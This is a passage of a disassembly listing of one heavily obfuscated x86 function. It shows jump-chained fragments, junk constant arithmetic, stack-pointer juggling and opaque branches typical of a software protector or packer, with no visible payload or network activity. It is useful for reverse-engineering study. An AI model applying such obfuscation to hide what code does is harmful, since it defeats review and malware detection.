; ---------------------------------------------------------------------------


loc_5AB29E:				; CODE XREF: sub_58A891+193CDj
		add	esp, 4
		sub	ecx, 32FB3788h
		add	ecx, ebp
		add	ecx, 32FB3788h
		add	ecx, 1D960F51h
		jmp	loc_5A7AE4
; ---------------------------------------------------------------------------


loc_5AB2BD:				; CODE XREF: sub_58A891+13E03j
		mov	eax, [esp+8Eh+var_8E]
		add	esp, 4
		add	eax, 6F1A3C04h
		and	eax, 518F59FAh
		xor	eax, 21E2F87h
		add	eax, 2DB409B2h
		sub	edx, eax
		mov	eax, [esp+8Ah+var_8A]
		add	esp, 4
		push	ecx
		push	esi
		mov	esi, 37789437h
		mov	ecx, esi
		pop	esi
		sub	edx, 64761745h
		sub	edx, ecx
		add	edx, 64761745h
		pop	ecx
		sub	eax, edx
		mov	edx, [esp+86h+var_86]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8Ah+var_8A]
		jmp	loc_5B1256
; ---------------------------------------------------------------------------


loc_5AB311:				; CODE XREF: sub_58A891+119BAj
		sub	ecx, 0BE071FD4h
		push	ecx
		pop	edx
		jmp	loc_5A17B3
; ---------------------------------------------------------------------------


loc_5AB31E:				; CODE XREF: sub_58A891+25D62j
		xor	al, 2Ch
		jo	loc_5A3828
		inc	al
		jge	loc_5A29AE
		push	ecx
		jmp	loc_5A3A2E
; ---------------------------------------------------------------------------
		add	ecx, 4


loc_5AB33A:				; CODE XREF: sub_58A891:loc_5AE313j
		inc	ebp
		jmp	loc_5B0D03
; ---------------------------------------------------------------------------


loc_5AB340:				; CODE XREF: sub_58A891+2004Ej
		add	esp, 4
		jmp	loc_5B1A0E
; ---------------------------------------------------------------------------


loc_5AB34B:				; CODE XREF: sub_58A891+262DBj
		add	esi, 24A5419h
		mov	edx, [esp+22h+var_24+2]
		jmp	loc_5AE107
; ---------------------------------------------------------------------------


loc_5AB359:				; CODE XREF: sub_58A891+1EB50j
		add	ecx, 0D95D9E22h
		mov	ebp, ecx
		mov	ecx, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_5ABCD9
; ---------------------------------------------------------------------------


loc_5AB36F:				; CODE XREF: sub_58A891+1CF07j
		push	ebp
		push	[esp+4Eh+var_4A]
		jmp	loc_59DED8
; ---------------------------------------------------------------------------


loc_5AB379:				; CODE XREF: sub_58A891+1E838j
		add	ebp, 0CC87F2DEh
		mov	esi, ebp
		jmp	loc_5A6D96
; ---------------------------------------------------------------------------


loc_5AB386:				; CODE XREF: sub_58A891+16F4Dj
		pop	ebp
		add	ebx, 279F5B9h
		sub	ecx, ebx
		mov	ebx, [esp+3Ah+var_3C+2]
		jmp	loc_59C3D9
; ---------------------------------------------------------------------------


loc_5AB397:				; CODE XREF: sub_58A891+17FECj
		mov	dh, 0CDh
		jmp	loc_5A8651
; ---------------------------------------------------------------------------


loc_5AB39E:				; CODE XREF: sub_58A891+183C5j
		pop	esi
		add	esp, 4
		push	1FC8h
		mov	[esp+6+var_8+2], ebx
		jmp	loc_5B1553
; ---------------------------------------------------------------------------


loc_5AB3AF:				; CODE XREF: sub_58A891+1EA99j
		jl	loc_5ABFF2
		sub	ch, 96h
		neg	ch
		add	ch, 0BDh
		jmp	loc_5B06EA
; ---------------------------------------------------------------------------


loc_5AB3C2:				; CODE XREF: sub_58A891+1192Dj
		push	144Ah
		mov	[esp+0], ecx
		push	7220h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		jmp	loc_5A46F5
; ---------------------------------------------------------------------------


loc_5AB3DE:				; CODE XREF: sub_58A891+1BB35j
		xchg	cl, al
		inc	al
		sub	al, 75h
		jmp	loc_5B2A6C
; ---------------------------------------------------------------------------


loc_5AB3E9:				; CODE XREF: sub_58A891+26996j
					; sub_58A891+26BAEj
		add	esi, 0A354A27Bh
		add	esi, 1
		jmp	loc_5AD837
; ---------------------------------------------------------------------------


loc_5AB3F7:				; CODE XREF: sub_58A891+235D7j
		mov	esp, [esp+22h+var_24+2]
		jmp	loc_5B1CD4
; ---------------------------------------------------------------------------


loc_5AB3FF:				; CODE XREF: sub_58A891+1603Cj
		pop	esp
		mov	[esp+5Ch+var_5C], esi
		mov	esi, 433A53B8h
		add	esi, 286300F1h
		xor	ebp, esi
		jmp	loc_5AA33E
; ---------------------------------------------------------------------------


loc_5AB415:				; CODE XREF: sub_58A891+21BBDj
		push	2A9Fh
		mov	[esp+60h+var_60], ebx
		mov	ebx, 13BF180Ah
		xchg	esi, ebx
		push	esi
		jmp	loc_5A517D
; ---------------------------------------------------------------------------


loc_5AB42A:				; CODE XREF: sub_58A891+12A6Aj
		mov	edx, esp
		jmp	loc_5A58B4
; ---------------------------------------------------------------------------


loc_5AB431:				; CODE XREF: sub_58A891+12A56j
		add	esp, 4
		jmp	loc_5B2698
; ---------------------------------------------------------------------------


loc_5AB43C:				; CODE XREF: sub_58A891+2132Dj
		mov	[esp-0Eh+arg_4+2], esi
		mov	esi, 39708F9Ch
		sub	eax, 5FA3332Ah
		sub	eax, 4CBF113Bh
		jmp	loc_5A9435
; ---------------------------------------------------------------------------


loc_5AB453:				; CODE XREF: sub_58A891+123E8j
		mov	cl, 0D1h
		add	cl, dh
		pop	edx
		add	cl, 3Bh
		inc	cl
		push	0
		jmp	loc_5A94E5
; ---------------------------------------------------------------------------


loc_5AB467:				; CODE XREF: sub_58A891+1BF72j
		sub	edi, 0BA8CBB3h
		jmp	loc_5A3987
; ---------------------------------------------------------------------------


loc_5AB472:				; CODE XREF: sub_58A891+1821Dj
		mov	esp, [esp+8Eh+var_8E]
		jmp	loc_5B1A62
; ---------------------------------------------------------------------------


loc_5AB47A:				; CODE XREF: sub_58A891+25032j
		sub	eax, esi
		pop	esi
		xchg	eax, [esp+8Ah+var_8A]
		pop	esp
		push	esp
		pop	[esp+8Ah+var_8A]
		push	edi
		push	eax
		mov	eax, 246F2433h
		mov	edi, 246F2437h
		sub	edi, eax
		jmp	loc_59CDFA
; ---------------------------------------------------------------------------


loc_5AB498:				; CODE XREF: sub_58A891+1CF50j
		pop	ecx
		xor	edx, [esp-0Ah+arg_0+2]
		xor	[esp-0Ah+arg_0+2], edx
		xor	edx, [esp-0Ah+arg_0+2]
		pop	esp
		jmp	loc_5B2C33
; ---------------------------------------------------------------------------


loc_5AB4A8:				; CODE XREF: sub_58A891+1D145j
					; sub_58A891+25948j
		mov	esp, [esp+84h+var_86+2]
		mov	[esp+84h+var_86+2], eax
		push	[esp+84h+var_82+2]
		pop	eax
		jmp	loc_5AD2F0
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+84h+var_86+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A8D3E
; ---------------------------------------------------------------------------


loc_5AB4CA:				; CODE XREF: sub_58A891+1F478j
					; sub_58A891+21461j
		mov	cl, dl
		pop	edx
		jmp	loc_59EDE2
; ---------------------------------------------------------------------------


loc_5AB4D2:				; CODE XREF: sub_58A891+24C5Cj
		and	edx, 121C5D70h
		xor	edx, 57341E51h
		sub	edi, edx
		pop	edx
		mov	edx, [esp+3Ch+var_3C]
		add	esp, 4
		add	edi, 4
		jmp	loc_5B17E0
; ---------------------------------------------------------------------------


loc_5AB4EF:				; CODE XREF: sub_58A891+1AA47j
		mov	ebp, 0
		sub	ebp, edi
		xchg	ebp, edi
		pop	ebp
		sub	edi, 8D50C6AAh
		mov	ecx, edi
		pop	edi
		not	ecx
		xor	ecx, 8795C70Fh
		sub	esi, ecx
		jmp	loc_5A91B0
; ---------------------------------------------------------------------------


loc_5AB511:				; CODE XREF: sub_58A891+1793Aj
		mov	edi, esp
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 6172337Eh
		or	ebp, 2B44217Fh
		push	ecx
		mov	ecx, 2AA45054h
		jmp	loc_5B1881
; ---------------------------------------------------------------------------


loc_5AB52F:				; CODE XREF: sub_58A891+26793j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2+var_4+2]
		pop	esp
		inc	eax
		jo	loc_5AD348
		sub	esp, 4
		mov	[esp+2+var_4+2], ebp
		mov	ebp, 59C915DDh
		inc	ebp
		push	ebx
		mov	ebx, 6AD77831h
		shl	ebx, 4
		not	ebx
		add	ebx, 0C4F18442h
		xor	ebp, ebx
		pop	ebx
		jmp	loc_5AAA6E
; ---------------------------------------------------------------------------


loc_5AB570:				; CODE XREF: sub_58A891+1F46Cj
		or	ecx, 2FB446F4h
		jb	loc_59EAFB
		sub	ecx, 2CDD6843h
		jmp	loc_5AE0F9
; ---------------------------------------------------------------------------


loc_5AB587:				; CODE XREF: sub_58A891+17489j
		inc	edi
		jl	loc_59D690
		sub	edi, 6C936EE0h
		jo	loc_5A6984
		push	esi
		mov	esi, 1F4A627Eh
		xor	esi, 8665EC09h
		add	edi, 20A82B10h
		sub	edi, esi
		sub	edi, 20A82B10h
		pop	esi
		mov	esi, edi
		mov	edi, [esp+3Ch+var_3C]
		push	ebp
		jmp	loc_59E759
; ---------------------------------------------------------------------------


loc_5AB5C0:				; CODE XREF: sub_58A891+16FD8j
		mov	[esp+6+var_8+2], esp
		add	[esp+6+var_8+2], 4
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 2
		sub	edi, 2501062Bh
		add	edi, 126F55CDh
		add	edi, ecx
		jmp	loc_5A6708
; ---------------------------------------------------------------------------


loc_5AB5E7:				; CODE XREF: sub_58A891+1F69Bj
		push	edi
		jmp	loc_59D899
; ---------------------------------------------------------------------------


loc_5AB5ED:				; CODE XREF: sub_58A891+282CFj
		push	6896h
		mov	[esp+0B6h+var_B6], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_59C4D1
; ---------------------------------------------------------------------------


loc_5AB602:				; CODE XREF: sub_58A891+26B2Fj
		jmp	loc_5AC61B
; ---------------------------------------------------------------------------


loc_5AB607:				; CODE XREF: sub_58A891+22A05j
		mov	[esp+0BAh+var_BA], ebp
		push	eax
		mov	eax, 0D4C16FDh
		mov	ebp, eax
		pop	eax
		add	ebp, 0F2B3E904h
		add	edx, ebp
		pop	ebp
		jmp	loc_5ACBAF
; ---------------------------------------------------------------------------


loc_5AB621:				; CODE XREF: sub_58A891+19DAAj
		add	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 2
		push	ecx
		mov	ecx, 57441141h
		jmp	loc_59C003
; ---------------------------------------------------------------------------


loc_5AB635:				; CODE XREF: sub_58A891+1AB0Fj
		mov	[esp+96h+var_96], edx
		push	72CFh
		mov	[esp+9Ah+var_9A], ecx
		push	23CB4EB1h
		pop	ecx
		xor	ecx, 6F3644C7h
		sub	ecx, 3094A2D5h
		mov	edx, ecx
		pop	ecx
		xor	eax, edx
		pop	edx
		push	[esp+92h+var_92]
		mov	edx, [esp+96h+var_96]
		add	esp, 4
		add	esp, 4
		add	[esp+8Eh+var_8E], 3DF16557h
		push	esi
		mov	esi, 67B435E0h
		add	[esp+92h+var_8E], esi
		pop	esi
		push	edi
		jmp	loc_59F1E9
; ---------------------------------------------------------------------------


loc_5AB67F:				; CODE XREF: sub_58A891+1FF19j
		or	cl, 1Ah
		jmp	loc_5ABBF1
; ---------------------------------------------------------------------------


loc_5AB687:				; CODE XREF: sub_58A891+1D829j
		add	eax, 4
		add	eax, 4
		jmp	loc_5A14E9
; ---------------------------------------------------------------------------


loc_5AB694:				; CODE XREF: sub_58A891+12F84j
		sub	edx, 1E7D3B2Dh
		or	edx, 647539E0h
		jmp	loc_59F4C7
; ---------------------------------------------------------------------------


loc_5AB6A5:				; CODE XREF: sub_58A891+1C61Ej
		push	[esp+5Ah+var_58+2]
		jmp	loc_5AB22B
; ---------------------------------------------------------------------------


loc_5AB6AE:				; CODE XREF: sub_58A891+14EE2j
		sub	edx, edi
		sub	edx, 2FC57F91h
		jmp	loc_5B155E
; ---------------------------------------------------------------------------


loc_5AB6BB:				; CODE XREF: sub_58A891+13061j
		push	79C07F7Bh
		pop	ecx
		shr	ecx, 5
		jmp	loc_5A5008
; ---------------------------------------------------------------------------


loc_5AB6C9:				; CODE XREF: sub_58A891+1BFF3j
		inc	eax
		shr	eax, 4
		add	eax, 0FE63EBFCh
		add	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 14C23D98h
		xor	ebp, 14C23D9Ch
		sub	ebx, ebp
		jmp	loc_5A2D4B
; ---------------------------------------------------------------------------


loc_5AB6E8:				; CODE XREF: sub_58A891+17C75j
					; sub_58A891:loc_5AF0C3j
		jmp	loc_59DE2C
; ---------------------------------------------------------------------------


loc_5AB6ED:				; CODE XREF: sub_58A891+21520j
		sub	ebx, 7AB2E1Ah
		pop	esi
		jmp	loc_5AF8F6
; ---------------------------------------------------------------------------


loc_5AB6F9:				; CODE XREF: sub_58A891+201AFj
		mov	ecx, [esp-12h+arg_8+2]
		add	esp, 4
		shr	ah, 6
		inc	ah
		add	ah, 21h
		jmp	loc_5AC036
; ---------------------------------------------------------------------------


loc_5AB70F:				; CODE XREF: sub_58A891+1BDE1j
		add	edi, 4
		xchg	edi, [esp+2+var_4+2]
		pop	esp
		shl	edi, 3
		jns	loc_5AD1BD
		push	ebp
		push	edi
		mov	edi, 4C756420h
		add	edi, 7D1754D4h
		mov	ch, ch


loc_5AB731:				; CODE XREF: sub_58A891+18A1Fj
		sub	edx, 7A745167h
		mov	ecx, [esp+6+var_8+2]
		add	esp, 4
		push	[esp+2+var_4+2]
		pop	esi
		push	eax
		jmp	loc_5ABEA8
; ---------------------------------------------------------------------------


loc_5AB74A:				; CODE XREF: sub_58A891+1C7F4j
		xor	ecx, 342029F3h
		sub	ecx, 94F3C31Bh
		jmp	loc_5A4845
; ---------------------------------------------------------------------------


loc_5AB75B:				; CODE XREF: sub_58A891+221E7j
		push	ebx
		mov	bl, ah
		mov	dh, bl
		pop	ebx
		jmp	loc_59EE5B
; ---------------------------------------------------------------------------


loc_5AB766:				; CODE XREF: sub_58A891+1BADDj
		xor	esi, 33B71C68h
		shr	esi, 5
		xor	esi, 6FD329E9h
		jmp	loc_5A6688
; ---------------------------------------------------------------------------


loc_5AB77A:				; CODE XREF: sub_58A891+14ADBj
		add	eax, 4
		jmp	loc_5B0AC2
; ---------------------------------------------------------------------------


loc_5AB784:				; CODE XREF: sub_58A891+23210j
		pop	ecx
		push	edx
		mov	edx, 1BB571AAh
		jmp	loc_5A1F86
; ---------------------------------------------------------------------------


loc_5AB790:				; CODE XREF: sub_58A891+27178j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5A80BF
; ---------------------------------------------------------------------------


loc_5AB7A3:				; CODE XREF: sub_58A891+22F27j
		mov	bh, ah
		push	eax
		jmp	loc_59F328
; ---------------------------------------------------------------------------
		db 0ACh
		dd 32B35366h, 9FE92E04h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB7B7:				; CODE XREF: sub_58A891+1D55Fj
		mov	eax, 43E289B2h
		add	eax, ecx
		pop	ecx
		add	edx, 65ED7380h
		add	edx, eax
		sub	edx, 65ED7380h
		mov	eax, [esp+4Ah+var_4A]
		jmp	loc_5B208F
; ---------------------------------------------------------------------------


loc_5AB7D5:				; CODE XREF: sub_58A891+26AFCj
		and	ebx, 23E32CD8h
		push	edi
		jmp	loc_59F144
; ---------------------------------------------------------------------------


loc_5AB7E1:				; CODE XREF: sub_58A891+12CF6j
		add	[esp+6+var_4+2], esi
		pop	esi
		mov	edi, [esp+2+var_4+2]
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp+2+var_4+2], ecx
		push	ebp
		mov	ebp, 54E37F74h
		dec	ebp
		inc	ebp
		jnz	loc_5ACF99
		and	ebp, 76490BC4h
		xor	ebp, 54410B40h
		mov	ecx, ebp


loc_5AB81A:				; CODE XREF: sub_58A891+16B03j
		mov	ebp, 9186BEEFh
		add	eax, ebp
		pop	ebp
		jmp	loc_5A8BF7
; ---------------------------------------------------------------------------


loc_5AB827:				; CODE XREF: sub_58A891+17885j
		mov	ebx, 584D332Eh
		jmp	loc_5A0F5C
; ---------------------------------------------------------------------------


loc_5AB831:				; CODE XREF: sub_58A891+22FBDj
		mov	ebx, [esp+0Eh+var_10+2]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	dl, 9
		add	dl, 4Bh
		add	dl, 11h
		xor	dl, 20h
		xor	dl, 0B9h
		sub	al, dl
		pop	edx
		add	al, 8Eh
		add	al, bl
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ecx
		mov	ch, 8Eh
		jmp	loc_5A958E
; ---------------------------------------------------------------------------


loc_5AB863:				; CODE XREF: sub_58A891+212CAj
		sub	edx, 7966007Eh
		not	edx
		jmp	loc_5A0BFA
; ---------------------------------------------------------------------------


loc_5AB870:				; CODE XREF: sub_58A891+1B3C2j
		add	ecx, 0CA979DC9h
		add	edx, ecx
		pop	ecx
		push	3785h
		mov	[esp+7Eh+var_7E], ecx
		jmp	loc_5A556F
; ---------------------------------------------------------------------------


loc_5AB886:				; CODE XREF: sub_58A891+17153j
		pop	edi
		push	edx
		mov	edx, 16D941CEh
		sub	esp, 4
		mov	[esp+0E2h+var_E4+2], ecx
		push	3DC51D0Ch
		pop	ecx
		jmp	loc_5A5C73
; ---------------------------------------------------------------------------


loc_5AB8A1:				; CODE XREF: sub_58A891+1B537j
		mov	ebx, [esp+7Eh+var_7E]
		sub	esp, 4
		jmp	loc_59F6E9
; ---------------------------------------------------------------------------


loc_5AB8AF:				; CODE XREF: sub_58A891+184EFj
		add	esi, ebp
		pop	ebp
		add	esi, 2
		jmp	loc_5AC638
; ---------------------------------------------------------------------------


loc_5AB8BD:				; CODE XREF: sub_58A891+12265j
		push	ebp
		push	ebx
		push	edi
		mov	di, 3A3h
		jmp	loc_5A05A5
; ---------------------------------------------------------------------------


loc_5AB8C9:				; CODE XREF: sub_58A891+235AEj
		xchg	eax, [esp+0A2h+var_A2]
		pop	esp
		mov	eax, [esp+9Eh+var_9E]
		jmp	loc_5AAF83
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+9Ch+var_9E+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AB8E4:				; CODE XREF: sub_58A891+22BB9j
		add	esp, 4
		jmp	loc_5A8BEF
; ---------------------------------------------------------------------------


loc_5AB8EC:				; CODE XREF: sub_58A891+1CEAAj
		push	bx
		mov	bx, 0
		jmp	loc_5AD2B4
; ---------------------------------------------------------------------------


loc_5AB8F7:				; CODE XREF: sub_58A891+27B13j
		add	eax, 4
		jmp	loc_5AB23E
; ---------------------------------------------------------------------------


loc_5AB901:				; CODE XREF: sub_58A891+11C11j
		jmp	loc_5A339F
; ---------------------------------------------------------------------------


loc_5AB906:				; CODE XREF: sub_58A891+24403j
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 49136377h
		mov	edi, [esp+0Ah+var_C+2]
		jmp	loc_5A068F
; ---------------------------------------------------------------------------


loc_5AB917:				; CODE XREF: sub_58A891+1263Bj
		add	bh, 89h
		pop	ecx
		sub	al, 0Bh
		push	ebx
		mov	bl, 0A5h
		shr	bl, 8
		sub	bl, 45h
		jmp	loc_5AEF3A
; ---------------------------------------------------------------------------


loc_5AB92B:				; CODE XREF: sub_58A891+1CD1Dj
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ebx
		mov	ebx, 4
		mov	ecx, ebx
		push	[esp+2Ah+var_2C+2]
		pop	ebx
		jmp	loc_59DA8B
; ---------------------------------------------------------------------------


loc_5AB941:				; CODE XREF: sub_58A891+1E4C6j
		push	0
		jmp	loc_5A3791
; ---------------------------------------------------------------------------


loc_5AB94B:				; CODE XREF: sub_58A891+1F826j
		push	[esp+8Ah+var_86]
		pop	esi
		pop	[esp+8Ah+var_8A]
		mov	esp, [esp+86h+var_86]
		and	[esp+86h+var_86], eax
		pushf
		jmp	loc_59F4B1
; ---------------------------------------------------------------------------


loc_5AB95F:				; CODE XREF: sub_58A891+13589j
		xor	eax, 66123A17h
		neg	eax
		jmp	loc_59C1AC
; ---------------------------------------------------------------------------


loc_5AB96B:				; CODE XREF: sub_58A891+1D35Fj
		pop	esi
		push	6FBDh
		mov	[esp+36h+var_38+2], ecx
		jmp	loc_5A7893
; ---------------------------------------------------------------------------


loc_5AB979:				; CODE XREF: sub_58A891+1A9D9j
		push	eax
		mov	eax, 55BD52FEh
		neg	eax
		shr	eax, 7
		jmp	loc_59DE3B
; ---------------------------------------------------------------------------


loc_5AB989:				; CODE XREF: sub_58A891+21411j
		jmp	loc_5A4EC5
; ---------------------------------------------------------------------------


loc_5AB98E:				; CODE XREF: sub_58A891+169F0j
		add	edx, ebp
		jmp	loc_5B1329
; ---------------------------------------------------------------------------


loc_5AB995:				; CODE XREF: sub_58A891+21D85j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+34h+var_34]
		jmp	loc_5A115A
; ---------------------------------------------------------------------------


loc_5AB9A9:				; CODE XREF: sub_58A891+1F7FBj
		shl	esi, 3
		and	esi, 63442FA9h
		or	esi, 7DEE1460h
		or	esi, 430D4F26h
		add	esi, 0E85EAA88h
		add	ebx, 6EA125C1h
		add	ebx, esi
		sub	ebx, 6EA125C1h
		jmp	loc_5B1D3B
; ---------------------------------------------------------------------------


loc_5AB9D7:				; CODE XREF: sub_58A891+220ABj
		push	edi
		push	eax
		jmp	loc_5A8754
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+92h+var_92]
		push	1C98h
		mov	[esp+96h+var_96], edx
		push	esp
		pop	edx
		push	1C6Ch
		mov	[esp+9Ah+var_9A], eax
		push	edx
		push	3D9E2DF6h
		pop	edx
		shl	edx, 5
		jnp	loc_5AA1C8
		push	edi
		mov	edi, 4CE35270h
		sub	edi, 0A5F2A183h
		sub	edx, edi
		jmp	loc_5B11A8
; ---------------------------------------------------------------------------


loc_5ABA17:				; CODE XREF: sub_58A891+1E10Ej
		sub	edi, 23CB0076h
		pop	ecx
		jmp	loc_5B2A31
; ---------------------------------------------------------------------------


loc_5ABA23:				; CODE XREF: sub_58A891+14F47j
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], ecx
		mov	ecx, 4ADF4D58h
		push	ecx
		push	edx
		jmp	loc_5A7CED
; ---------------------------------------------------------------------------


loc_5ABA35:				; CODE XREF: sub_58A891+1700Bj
		xor	edx, [esp+2+var_4+2]
		pop	esp
		add	eax, 4
		push	ecx
		mov	ecx, 25697483h
		dec	ecx
		jmp	loc_5AD473
; ---------------------------------------------------------------------------


loc_5ABA4A:				; CODE XREF: sub_58A891+13EF6j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+84h+var_86+2]
		pop	esp
		mov	[esp+80h+var_82+2], eax
		push	73ADh
		jmp	loc_5B0836
; ---------------------------------------------------------------------------


loc_5ABA64:				; CODE XREF: sub_58A891+2212Ej
		mov	eax, 73EF4AD8h
		shr	eax, 6
		add	eax, 234B2953h
		shl	eax, 5
		and	eax, 7E8A72FCh
		shl	eax, 5
		jmp	loc_5A722E
; ---------------------------------------------------------------------------


loc_5ABA81:				; CODE XREF: sub_58A891+1E7C4j
		mov	esi, 5B5B6BE7h
		jmp	loc_59EBD2
; ---------------------------------------------------------------------------


loc_5ABA8B:				; CODE XREF: sub_58A891+18408j
		push	1B7Ch
		mov	[esp+2Ah+var_2C+2], eax
		jmp	loc_59E7A8
; ---------------------------------------------------------------------------


loc_5ABA98:				; CODE XREF: sub_58A891+21A56j
		push	[esp+2Ah+var_28+2]
		jmp	loc_5AD73D
; ---------------------------------------------------------------------------


loc_5ABAA1:				; CODE XREF: sub_58A891+24084j
		push	dword ptr [edi+24h]
		push	6EF4h
		mov	[esp+36h+var_38+2], ebx
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], eax
		mov	eax, 68395F8Dh
		push	edx
		mov	edx, 68395F8Ch
		add	eax, 28DC4E6Eh
		jmp	loc_5A5B59
; ---------------------------------------------------------------------------


loc_5ABAC7:				; CODE XREF: sub_58A891+12007j
		xor	ecx, 35560DE9h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5AB14B
; ---------------------------------------------------------------------------


loc_5ABAD5:				; CODE XREF: sub_58A891+12652j
		neg	dl
		sub	dl, 4Bh
		xor	dl, 74h
		sub	al, dl
		pop	edx
		push	[esp+6Eh+var_70+2]
		pop	ebx
		jmp	loc_5A8E64
; ---------------------------------------------------------------------------


loc_5ABAE9:				; CODE XREF: sub_58A891+21FAEj
		pop	[esp+6Eh+var_70+2]
		pop	esp
		jmp	loc_5B1FD3
; ---------------------------------------------------------------------------


loc_5ABAF2:				; CODE XREF: sub_58A891+23441j
		mov	ecx, 2E01D24h
		add	ecx, 9EC54C39h
		sub	edi, 1CD24723h
		sub	edi, ecx
		push	ebp
		mov	ebp, 48052D01h
		sub	ebp, 13E143ECh
		jmp	loc_5A04F8
; ---------------------------------------------------------------------------


loc_5ABB16:				; CODE XREF: sub_58A891+25218j
		sub	al, 53h
		jmp	loc_5A570B
; ---------------------------------------------------------------------------


loc_5ABB1D:				; CODE XREF: sub_58A891+21C1Aj
		jmp	loc_5B17CC
; ---------------------------------------------------------------------------


loc_5ABB22:				; CODE XREF: sub_58A891+24BFDj
		pop	ecx
		shr	esi, 3
		xor	esi, 0AD24B0FFh
		jmp	loc_59D5F2
; ---------------------------------------------------------------------------


loc_5ABB31:				; CODE XREF: sub_58A891+1F2ECj
		mov	edi, esp
		jmp	loc_59D741
; ---------------------------------------------------------------------------


loc_5ABB38:				; CODE XREF: sub_58A891+2009Fj
		add	esp, 4
		add	esp, 4
		sub	ebx, 2CCC7851h
		sub	ebx, 4B8F7139h
		jmp	loc_59D07E
; ---------------------------------------------------------------------------


loc_5ABB55:				; CODE XREF: sub_58A891+16C76j
					; sub_58A891+248B9j
		and	edx, 6434350Fh
		jmp	loc_5AB863
; ---------------------------------------------------------------------------


loc_5ABB60:				; CODE XREF: sub_58A891+2016Bj
		add	[esp+92h+var_92], 4
		push	[esp+92h+var_92]
		mov	edi, [esp+96h+var_96]
		add	esp, 4
		add	esp, 4
		jmp	loc_5B26AB
; ---------------------------------------------------------------------------


loc_5ABB78:				; CODE XREF: sub_58A891+25B9Dj
		pop	ebx
		add	edi, 2
		jmp	loc_5A5F4A
; ---------------------------------------------------------------------------


loc_5ABB84:				; CODE XREF: sub_58A891+18BD1j
		push	[esp+1Ah+var_1C+2]
		pop	ebx
		add	esp, 4
		or	esi, 6188553Ch
		jp	loc_5AEA9F
		push	edx
		push	ebx
		mov	ebx, 1DFE0E19h
		jmp	loc_5A4330
; ---------------------------------------------------------------------------


loc_5ABBA3:				; CODE XREF: sub_58A891+21870j
		mov	edi, [esp+1Eh+var_20+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5ADE3A
; ---------------------------------------------------------------------------


loc_5ABBB3:				; CODE XREF: sub_58A891+1F4E8j
		xor	eax, esi
		pop	esi
		not	eax
		shl	eax, 5
		sub	esp, 4
		jmp	loc_5AB43C
; ---------------------------------------------------------------------------


loc_5ABBC3:				; CODE XREF: sub_58A891+225A9j
		add	al, 24h
		sub	al, 66h
		sub	al, bl
		push	small 203Dh
		mov	word ptr [esp+74h+var_74], bx
		mov	bl, 66h
		push	ebx
		mov	ebx, esp
		jmp	loc_5A7115
; ---------------------------------------------------------------------------


loc_5ABBDB:				; CODE XREF: sub_58A891+12593j
					; sub_58A891+14BC5j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xor	ecx, [esp+6Ch+var_6C]
		xor	[esp+6Ch+var_6C], ecx
		xor	ecx, [esp+6Ch+var_6C]
		jmp	loc_5A80B0
; ---------------------------------------------------------------------------


loc_5ABBF1:				; CODE XREF: sub_58A891+20DF1j
		or	cl, 0D9h
		push	edx
		push	bx
		jmp	loc_5A1E8E
; ---------------------------------------------------------------------------


loc_5ABBFC:				; CODE XREF: sub_58A891+21637j
		dec	bh
		jmp	loc_5A0A9F
; ---------------------------------------------------------------------------


loc_5ABC03:				; CODE XREF: sub_58A891+26A0Bj
		pop	eax
		push	esi
		jmp	loc_5A71E3
; ---------------------------------------------------------------------------


loc_5ABC0A:				; CODE XREF: sub_58A891+12AA3j
		mov	[esp-0Eh+arg_4+2], ecx
		mov	ecx, 398A4017h
		shl	ecx, 4
		jmp	loc_5B0160
; ---------------------------------------------------------------------------


loc_5ABC1A:				; CODE XREF: sub_58A891+15870j
		mov	edi, 4
		mov	esi, edi
		pop	edi
		add	eax, esi
		jmp	loc_59E8E1
; ---------------------------------------------------------------------------


loc_5ABC29:				; CODE XREF: sub_58A891+175DDj
					; sub_58A891+1995Aj
		add	edx, 703D523Ch
		jmp	loc_5AA73B
; ---------------------------------------------------------------------------


loc_5ABC34:				; CODE XREF: sub_58A891+19CC6j
		dec	ebp
		jmp	loc_5A8017
; ---------------------------------------------------------------------------


loc_5ABC3A:				; CODE XREF: sub_58A891+220C9j
		mov	ebx, 61420AE8h
		mov	edi, 9EBDF51Ah
		jmp	loc_59FEB5
; ---------------------------------------------------------------------------


loc_5ABC49:				; CODE XREF: sub_58A891+25863j
		jmp	loc_5AF3F5
; ---------------------------------------------------------------------------


loc_5ABC4E:				; CODE XREF: sub_58A891+1BE3Bj
		push	esi
		push	eax
		mov	eax, 99457CAh
		sub	eax, 6F4D641Bh
		jl	loc_5B2CE4
		not	eax
		jmp	loc_5A04F8
; ---------------------------------------------------------------------------
		shr	dh, 7
		mov	ebx, edi
		push	edx


loc_5ABC6D:				; CODE XREF: sub_58A891+15045j
		push	3CC986Fh
		jmp	loc_5A7254
; ---------------------------------------------------------------------------


loc_5ABC77:				; CODE XREF: sub_58A891+14320j
		push	[esp+72h+var_74+2]
		mov	eax, [esp+0]
		push	ebx
